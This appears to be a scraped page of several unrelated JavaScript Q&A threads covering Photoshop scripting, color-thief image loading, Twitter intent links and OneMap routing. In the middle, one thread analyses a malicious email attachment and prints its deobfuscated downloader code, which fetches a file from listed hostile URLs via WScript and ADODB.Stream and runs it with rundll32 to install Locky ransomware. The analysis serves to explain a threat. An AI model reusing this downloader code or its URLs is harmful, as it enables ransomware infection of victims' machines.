I am trying to make a Javascript script that gives me an alert of how many clipping paths there are in the file and how much anchor points it has. (If the clipping path is too complex InDesign will crash on some computers in our environment)
I found in the Scripting Guide the object PathPoint and PathPointInfo, but I can't seem to get it to work.
What I made so far is this
// pathCount
// enable double clicking from the Macintosh Finder or the Windows Explorer
#target photoshop
// in case we double clicked the file
app.bringToFront();
var activeDoc = app.activeDocument;
var totalPathItemCount = activeDoc.pathItems.length;
//myPathItem.subPathItems.length;
var myPathItem = activeDoc.pathItems.getByName("CLIPPING");
var mySubPathItem = myPathItem.subPathItems;
var clippingPathPointCount = myPathItem.pathPoints.length;
alert("There are " + totalPathItemCount + " paths and CLIPPING has " + clippingPathPointCount " points " );
Loop over each subPathItem using a for statement and add the count of anchor points (i.e. for each subPathItem) to the clippingPathTotalAnchorCount variable. For example:
#target photoshop
app.bringToFront();
var activeDoc = app.activeDocument;
var totalPathItemCount = activeDoc.pathItems.length;
// Specifically for the path named "CLIPPING"...
var myPathItem = activeDoc.pathItems.getByName("CLIPPING");
var mySubPathItems = myPathItem.subPathItems;
var mySubPathItemCount = mySubPathItems.length;
// Loop over each subpath of the path named "CLIPPING".
// The count of anchor points for each subpath are added to the total.
var clippingPathTotalAnchorCount = 0;
for (var i = 0; i < mySubPathItemCount; i++) {
clippingPathTotalAnchorCount += mySubPathItems[i].pathPoints.length;
}
alert("The document has " + totalPathItemCount + " path(s).\r" +
"The path named CLIPPING has " + mySubPathItemCount + " subpaths,\r" +
"with a total of " + clippingPathTotalAnchorCount + " anchor points.");
//Index the item in teh collection with [0]
var mySubPathItem = myPathItem.subPathItems[0];
Related
I have a very special problem with color-thief. I'm trying to load some data from my datatable containing a realtive path to a image stored on the same domain.
There are about 20 links where I have to grab the dominant color and push it to an array.
My problem is now, that when i load my data (with AJAX) and I try to grab the color, the image is not loaded jet and i get a "Uncaught DOMException: Failed to execute 'getImageData' on 'CanvasRenderingContext2D': The source width is 0."
So here is what i have tried so far:
METHODE 1: GetColor
// Create Objects for colorThief
var colorThief = new ColorThief();
var myImage = new Image();
var colors = [];
for (var i = 0; i < result.length; i += 3) {
labels.push(result[i]);
data.push(result[i + 1]);
myImage.src = result[i + 2];
var color = colorThief.getColor(myImage);
colors.push("#" + rgbToHex(color[0]) + rgbToHex(color[1]) + rgbToHex(color[2]));
}
METHODE 2: GetColorByUrl
// Create Objects for colorThief
var colorThief = new ColorThief();
var colors = [];
for (var i = 0; i < result.length; i += 3) {
labels.push(result[i]);
data.push(result[i + 1]);
//Also tried with a absolute path, not changing anything
var color = colorThief.getColorFromUrl(result[i + 2]);
colors.push("#" + rgbToHex(color[0]) + rgbToHex(color[1]) + rgbToHex(color[2]));
}
METHODE 3: Append Image to HTML
var colorThief = new ColorThief();
var colors = [];
var content = "<div id='temp' style='display:none'>";
//Create options
for (var i = 0; i < result.length; i += 3) {
options += "<option value='" + result[i] + "'>" + result[i + 1] + "</option>";
content += "<img src='" + result[i + 2] + "'>";
}
content += "</div>"
$("#contentRightTop").append(content);
var thisColor;
var theseColors = [];
$("#temp img").each(function () {
thisColor = colorThief.getColor(this);
theseColors.push(thisColor);
});
$("#temp").remove();
METHODE 4: Object.onload
// Create Objects for colorThief
var colorThief = new ColorThief();
var myImage = new Image;
var colors = [];
for (var i = 0; i < result.length; i += 3) {
labels.push(result[i]);
data.push(result[i + 1]);
myImage.onload = function() {
var color = colorThief.getColor(myImage);
colors.push("#" + rgbToHex(color[0]) + rgbToHex(color[1]) + rgbToHex(color[2]));
}
myImage.src = result[i + 2];
}
So how i told you, so far nothing really worked. I also tried to set absolute paths to my domain.
THE ONLY methode that worked, was a try catch, with repeating the whole for loop, what wasn't that nice.
So guys if you would have some ideas/inputs on how to solve this problem or also alternatives to color-thied (it's very heavy) would be great.
Mention, that i allready tried to combine/replace color-thief with this scipts:
ImagesLoaded - Very bugy in Google Chrome
Colorify - Didn't manage to change the script to what i need
[Dominant-Color - Has imagemagick dependencie, that i want to avoid]
[Adaptive Background - Same as Colorify]
[PrimaryColor - I have to give it a try again, think there was an error in my code]
(Only allowed to post 2 links^^)
Thanks so far
Martin
Problem
I'm trying to using twitter intent to tweet out a pre-written, custom tweet. But when I click fa-twitter the box appears blank. I think the problem may be how I'm encoding the URL?
scripts.js
function shareTeam(){
$(".fa-twitter").click(function(){
// Create an empty array
var teasers = [];
// Grabs the names of all the players in the span
// Sets a variable marking the indexOf each of the names
// If the index doesn't find a space, it returns -1, which returns the full name
// Otherwise it will return only what follows the space
var lastNames = $("li span").map(function() {
var name = $(this).text();
var index = name.indexOf(" ");
return index == -1 ? name : name.substring(index + 1);
}).get();
// console.log(lastNames);
// var regularNames = lastNames.slice(0, 3); // Same as below, but no shuffling
var regularNames = lastNames;
regularName1 = regularNames[0]; // Forward
regularName2 = regularNames[1]; // Forward
regularName3 = regularNames[2]; // Defenseman
regularName4 = regularNames[3]; // Defenseman
regularName5 = regularNames[4]; // Defenseman
regularName6 = regularNames[5]; // Goalie
// Find me a random number between 1 and 3
// Where 1 is the start number and 3 is the number of possible results
// This is zero-indexed? So the numbers will be one lower than the actual teaser #
var teaser = "teaser";
var rand = Math.floor(Math.random() * 6);
console.log(rand);
// Concatenate the two strings together
teaseRand = teaser.concat(rand);
// These are the components that make up that fullURL
var baseURI = "https://twitter.com/intent/tweet?";
var twitterUsername = "#stltoday";
var interactiveURL = "http://staging.stltoday.com/STLblues";
// Randomly generate one of three teasers
var teaser1 = regularName3 + " to " + regularName2 + " back to " + regularName1 + " — GOAL! Create your own all-team #STLBlues team: ";
var teaser2 = "My #STLBlues dream team has " + regularName3 + " and " + regularName4 + ". Build your own: ";
var teaser3 = "My #STLBlues dream team has " + regularName4 + " and " + regularName5 + ". Build your own: ";
var teaser4 = "My #STLBlues team will skate circles around yours! Pick your team: ";
var teaser5 = regularName6 + " with the glove save! ";
var teaser6 = "Pick your #STLBlues dream team from 50 of the best #StLouisBlues to hit the ice: ";
// Push teasers into array
teasers.push(teaser1);
teasers.push(teaser2);
teasers.push(teaser3);
teasers.push(teaser4);
teasers.push(teaser5);
teasers.push(teaser6);
// This is the full url that will be switched in and out
var fullURL = "text="+teasers[rand]+"&url="+interactiveURL+"&via=("+twitterUsername+")";
// var fullURL = interactiveURL+"&via="+twitterUsername+"&text="+teasers[rand];
console.log(fullURL);
// It needs to be encoded properly as well
var encodedURL = baseURI+encodeURIComponent(fullURL);
// Change the href to the link every time the Twitter button is clicked
$(".link--twitter").attr("href", encodedURL);
console.log(encodedURL);
// if (lastNames.length === 6) {
// } else {
// var encodedURLGeneric = baseURI+encodeURIComponent(fullURL);
// $(".link--twitter").attr("href", encodedURLGeneric);
// }
});
}
The solution was to encode each part individually
function shareTeam(){
$(".fa-twitter").click(function(){
// Create an empty array
var teasers = [];
// Grabs the names of all the players in the span
// Sets a variable marking the indexOf each of the names
// If the index doesn't find a space, it returns -1, which returns the full name
// Otherwise it will return only what follows the space
var lastNames = $("li span").map(function() {
var name = $(this).text();
var index = name.indexOf(" ");
return index == -1 ? name : name.substring(index + 1);
}).get();
var regularNames = lastNames.slice(0, 4); // Same as below, but no shuffling
regularName1 = regularNames[0]; // Forward
regularName2 = regularNames[1]; // Forward
regularName3 = regularNames[2]; // Defenseman
regularName4 = regularNames[3]; // Defenseman
// Find me a random number between 1 and 3
// Where 1 is the start number and 3 is the number of possible results
// This is zero-indexed? So the numbers will be one lower than the actual teaser #
var teaser = "teaser";
var rand = Math.floor(Math.random() * 3);
console.log(rand);
// Concatenate the two strings together
teaseRand = teaser.concat(rand);
// These are the components that make up that fullURL
var baseURI = "https://twitter.com/intent/tweet?text=";
var twitterUsername = "stltoday";
var interactiveURL = "http://staging.stltoday.com/STLblues";
// Randomly generate one of three teasers
var teaser1 = regularName3 + " to " + regularName2 + " back to " + regularName1 + " — GOAL! Create your #STLBlues team:";
var teaser2 = "My #STLBlues dream team has " + regularName3 + " and " + regularName4 + ". Build your own:";
var teaser3 = regularName4 + " to " + regularName3 + " back to " + regularName2 + " — GOAL! Create your #STLBlues team:";
var teaser4 = "Pick your #STLBlues dream team from 50 of the best #StLouisBlues to hit the ice:";
// Push teasers into array
teasers.push(teaser1);
teasers.push(teaser2);
teasers.push(teaser3);
teasers.push(teaser4);
// This is the full url that will be switched in and out
// It needs to be encoded properly as well
var fullURL = baseURI+encodeURIComponent(teasers[rand])+"&url="+encodeURIComponent(interactiveURL)+"&via="+encodeURIComponent(twitterUsername);
var genericURL = baseURI+encodeURIComponent(teasers[3])+"&url="+encodeURIComponent(interactiveURL)+"&via="+encodeURIComponent(twitterUsername);
console.log(fullURL);
console.log(genericURL);
// Change the href to the link every time the Twitter button is clicked
$(".link--twitter").attr("href", fullURL);
console.log(fullURL);
if (lastNames.length === 6) {
console.log("Yeah, yeah, yeah");
} else {
$(".link--twitter").attr("href", genericURL);
}
});
}
Someone has been sending JS files in an attempt to try and lure me (and presumably others) into running the file and compromising their system.
Thing is, I have Mac and taking a look at this code it doesn't seem to be useful on Mac. As a JavaScript developer I'm not really sure how useful it could be, even on a Windows computer.
Code is too large to fit here so I posted it up on GitHub:
https://gist.github.com/anonymous/dfead201c8e5dc48f98548d0bdb7ac26
What the heck does this code do?
I ran it in a sandbox and it results in a console error.
Decided to post here the results I found (and not in a comment) as it takes a bit more than 600 chars ;).
So - the first run of the script (as posted on by comment) will give this code after obfuscation:
http://pastebin.com/cFuijfFS
Working on that - the code will run the following:
var IGv7=[Yc+Hu1+Yq8+Jj+KFg2+Ka6+Hk+OHi6+ULs4+EBb, Tj4 + Dk7+Pc2+Hj8+As + YXv5+TIk0+Rj+Kb3+NZa2+DVq+Vx+KIi+Yh4 + XTc5+NHe3+Pv6+ATm5, Tj4 + Dk7+Gl+QLu+Pr+KIi+So+Af1+Nu + Zz+Kb + Zn1+Ik+Vy4, Yc+It+Nd+Ty+Lc+DFu+Lf4+LEa4+Zh1 + Kc+LSk+Tu6, Vg7 + Tp7+AUi+OPo + Oi+NGu8+DXl1+Px9 + Fa + Js9+KPm];
// var IGv7=["http://econopaginas.com/kudrd", "http://baer-afc2.homepage.t-online.de/4yhgvna", "http://jhengineering.szm.com/on9wjn", "http://otwayorchard.net/eo240k", "http://rejoincomp2.in/1tdqo6"]
var Xl3=WScript[Sk6 + STd1 + Jz + GNu0](Zn4 + ALt + Qs8 + UQw);
// Xl3=WScript["CreateObject"]("WScript.Shell");
// Lets say X13 == SHELL
var XWe=Xl3.ExpandEnvironmentStrings(ZFq + YMy6);
// var XWe=SHELL.ExpandEnvironmentStrings("%TEMP%/")
var NQf6=XWe + Vm0 + LCo + Bp + Ty0;
// var NQf6=C:/TEMP/XfZn0ghPqqlucK
var Nt5=NQf6 + Aq4 + FQn5;
// var Nt5="C:/TEMP/XfZn0ghPqqlucK.dll"
var Vu = Xl3.Environment(Cf8 + EMb);
// var Vu = C:/system
// PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4 == "PROCESSOR_ARCHITECTURE"
if (Vu(PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4).toLowerCase() == "amd64")
{
// Check if we are in amd64
var UFn4 = Xl3.ExpandEnvironmentStrings(OMi0);
// var UFn4 = "%SystemRoot%\SysWOW64\rundll32.exe"
}
else
{
var UFn4 = Xl3.ExpandEnvironmentStrings(DCx);
// var UFn4 = "%SystemRoot%\system32\rundll32.exe"
}
...
var SPz0=[WQp1 + WCl1 + TYr1 + Np, Wd + CMz6 + Ey7 + GXj + Kk2 + Fb8 + POy1];
// SPz0=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]
// Try to create the XMLHTTP object
for (var Lp9=0; Lp9 < SPz0[ETi8 + Fp]; Lp9++)
{
try
{
var MBi0=WScript[Sk6 + STd1 + Jz + GNu0](SPz0[Lp9]);
break;
}
catch (e)
{
continue;
}
};
var OPr3 = "";
// FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6 == "Scripting.FileSystemObject"
var fso = new ActiveXObject(FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6);
var MTm6 = uheprng(Math.random().toString());
var ENa6=1;
do
{
// Check ACTIVEXOBJECT_FileSystemObject[FileExists](dll file from before)
if (fso[DQq + Js + Va + Vn](Nt5))
{
var Em = fso.GetFile(Nt5);
var DAb4 = Em.ShortPath;
OPr3 = DAb4+ZYz;
// check if the same dll file with ".txt" extension exists
if (fso[DQq + Js + Va + Vn](OPr3)) {
// run quite()
this[Dv + Dx + Go7][Jh + Nz3](824 - 824);
}
}
var HFw3 = MTm6(IGv7[ETi8 + Fp]);
try
{
if (1== ENa6)
{
// Do a GET request to the url "http://jhengineering.szm.com/on9wjn"
MBi0[NOc6](YRk1 + XWj, IGv7[HFw3++ % IGv7[ETi8 + Fp]], false);
MBi0[BBw + Co]();
}
if (MBi0.readystate < 4)
{
// WScript["Sleep"](100);
WScript[SJl + Hj](100);
continue;
}
var Nf=WScript[Sk6 + STd1 + Jz + GNu0](YPt6+CXb+Tv0+Da1 + Ng2);
// var Nf=WScript["CreateObject"]("ADODB.Stream")
// ADOBE_SCRIPT[open]()
Nf[NOc6]();
// ADOBE_SCRIPT[type] = 1
Nf[Aj9]=Yz;
// ADOBE_SCRIPT[write](content from the XMLHTTPRequest we just did)
Nf[Vr3](MBi0[Nb + Re + HKj + Zk]);
// Set position of the adodb.stream to 0
Nf[Hz + QWh5 + VSo5]=0;
// Save the content to the file NQf6 (the file in c:/temp)
Nf[WGa + Yh + OAk](NQf6, IDz0);
// close the file
Nf[Cz + FLv2]();
Still working on the rest, will update here with more info :)
It seems to run wscript which is a windows program to make administrative changes, yes that sounds like bad news for windows users who run this :P
And it uses 2 arrays to obfuscate the code, that will be run with eval, if anyone is not on a phone like me, copy the last lines starting by var Q1 and replace eval with console.log. this will output the js code that will probably show what evil it contains. It might be minified so run it trough a js prettifier, maybe it will have arrays again to obfuscate code again LOL, code inception.
Sadly I'm on a phone otherwise it would be a nice puzzle xD
Edit: too curious, gonna look into it with jsfiddle on my phone, touchscreens are a nightmare with stuff like this..
Edit2:
Code inception!
https://jsfiddle.net/3sn6o9o9/
.
See the js output it generates, more obfuscation, we must go deeper!
To sum it up: this is a downloader. It downloads an encrypted DLL from one of four hardcoded URLs, decrypts it (simple XOR with a PRNG stream) and then runs using rundll32 (with a specified parameter). The DLL contains Locky ransomware.
Basically I am trying to zoom to certain route segment when getting direction on OneMap. Here is the JavaScript codes where I trying to plot a route and zoom to certain route segment:
function getDirections() {
var routeData = new Route;
var from = document.getElementById('txtFrom').value
var to = document.getElementById('txtTo').value
//Draw out the line from the cordinate to another cordinate
routeData.routeStops = from + ";" + to;
//What type of mode will it do
routeData.routeMode = "DRIVE";
//can draw out untill the following coordiante
routeData.barriers = '36908.388637,35897.420831';
{
if (document.getElementById('CbAvoid').checked) {
routeData.avoidERP = "1";
}
else
routeData.avoidERP = "0";
}
routeData.GetRoute(showRouteData)
}
function showRouteData(routeResults) {
if (routeResults.results == "No results") {
alert("No Route found, please try other location.")
return
}
$('#divComputedDirection').show();
directions = routeResults.results.directions[0];
directionFeatures = directions.features;
var routeSymbol = new esri.symbol.SimpleLineSymbol().setColor(new dojo.Color([0, 0, 255, 0.5])).setWidth(4);
var mergedGeometry = new esri.geometry.Polyline()
mergedGeometry.addPath(routeResults.results.routes.features[0].geometry.paths[0])
OneMap.map.graphics.add(new esri.Graphic(mergedGeometry, routeSymbol));
//Display the total time and distance of the route
var htmlStr = "";
htmlStr += "<img class='close-image' onclick='closeDirectionResultDIV();' alt='close' src='img/closeDirectionResult.png' />";
htmlStr += "<span style='font-weight:bold;'><br /> Total distance: " + Math.round(directions.summary.totalLength) + "km" + "<br /> Total time: " + Math.round(directions.summary.totalTime) + "mins <br/></span>";
document.getElementById("divComputedDirection").innerHTML = htmlStr;
//List the directions and create hyperlinks for each route segment
for (var i = 0; i < directions.features.length; i++) {
var feature = directions.features[i]
document.getElementById("divComputedDirection").innerHTML += '<br>' + parseInt(parseInt(i) + 1) + ". " + feature.attributes.text + " (" + formatDistance(feature.attributes.length, "miles") + ", " + formatTime(feature.attributes.time) + ") " + '';
}
}
//Zoom to the appropriate segment when the user clicks a hyperlink in the directions list
function zoomToSegment(index) {
var segment = directionFeatures[index];
map.setExtent(segment.geometry.getExtent(), true);
if (!segmentGraphic) {
segmentGraphic = map.graphics.add(new esri.Graphic(segment.geometry, segmentSymbol));
}
else {
segmentGraphic.setGeometry(segment.geometry);
}
}
It did plot the route and show all the directions. But when I click on certain direction and zoom to segement, it throws me an error message which is Uncaught TypeError: Cannot call method 'getExtent' of undefined.
I wonder why is it so. Thanks in advance.
The root cause of your error is that you're trying to get the extent of a .geometry property that doesn't exist - that part is relatively easy. The problem, I think, is that you're looking for the geometry of each segment of the journey, and the return from OneMap's RouteTask doesn't give you that directly.
The geometry from the entire route is in
routeResults.results.routes.features[0].geometry.paths[0]
and the individual segments are in one of ESRI's fun compressed formats in the value:
routeResults.results.directions[x].features[y].compressedGeometry
There's some documentation and C# code for this compressed format here:
http://resources.esri.com/help/9.3/arcgisengine/ArcObjects/esrinetworkanalyst/INACompactStreetDirection_CompressedGeometry.htm
It should be relatively easy to port that C# code to JS if you really need the geometry of individual segments.
OneMap have a full working example here which shows how to process the results from the RouteTask, but unfortunately they don't attempt to extract the compressedGeometry field.
Edit: More sample code from ESRI here, with examples in C#/Java/Python.
Using Adobe PhotoShop CS4 scripting, JavaScript provides the File and Folder classes, but I do not see how I can use these classes from VBScript.
Currently I use the DoJavaScript function like this:
Set appRef = CreateObject("Photoshop.Application")
jsCode = Array(_
"var inFolder = Folder.selectDialog('Select a folder to process');",_
"if(inFolder != null){",_
" var fileList = inFolder.getFiles(/\.(jpg|jpeg|tif|)$/i);",_
" var outFolder = new Folder(decodeURI(inFolder) + '/Edited');",_
" if (outFolder.exists == false) outFolder.create();",_
" for(var i = 0 ;i < fileList.length; i++){",_
" var doc = open(fileList[i]);",_
" doc.flatten();",_
" var docName = fileList[i].name.slice(0,-4);",_
" var saveFile = new File(decodeURI(outFolder) + '/' + docName + '.png');",_
" SavePNG(saveFile);",_
" activeDocument.close(SaveOptions.DONOTSAVECHANGES);",_
" }",_
"}",_
"function SavePNG(saveFile){",_
" pngSaveOptions = new PNGSaveOptions();",_
" pngSaveOptions.embedColorProfile = true;",_
" pngSaveOptions.formatOptions = FormatOptions.STANDARDBASELINE;",_
" pngSaveOptions.matte = MatteType.NONE;",_
" pngSaveOptions.quality = 1;",_
" pngSaveOptions.PNG8 = false;",_
" pngSaveOptions.transparency = true;",_
" activeDocument.saveAs(saveFile, pngSaveOptions, true, Extension.LOWERCASE);",_
"}")
appRef.DoJavaScript(Join(jsCode, vbNewLine))
My question is: Can I use the Folder and File classes directly from my VB script?
Something like:
Set psFolder = appRef.Folder
inputFolder = psFolder.selectDialog("Select a folder to process")
When I try this, appRef.Folder returns this error:
Object doesn't support this property or method
In VBscript, you can access folder with the FileSystemObject:
'1.a - user browse for folder
Set objShell = CreateObject( "Shell.Application" )
Set objFolder = objShell.BrowseForFolder( 0, "Select Folder", 0, myStartFolder )
'1.b - or use a fixed one
sFolder = "C:\foo\anyFolder\"
Set fs = CreateObject("Scripting.FileSystemObject")
Set objFolder = fs.GetFolder(sFolder)
'parse the content of the folder
Set oChildren = objFolder.SubFolders
ReDim aList(oChildren.Count)
For i = 1 To oChildren.Count
aList(i) = oChildren.Item(i).Name
Next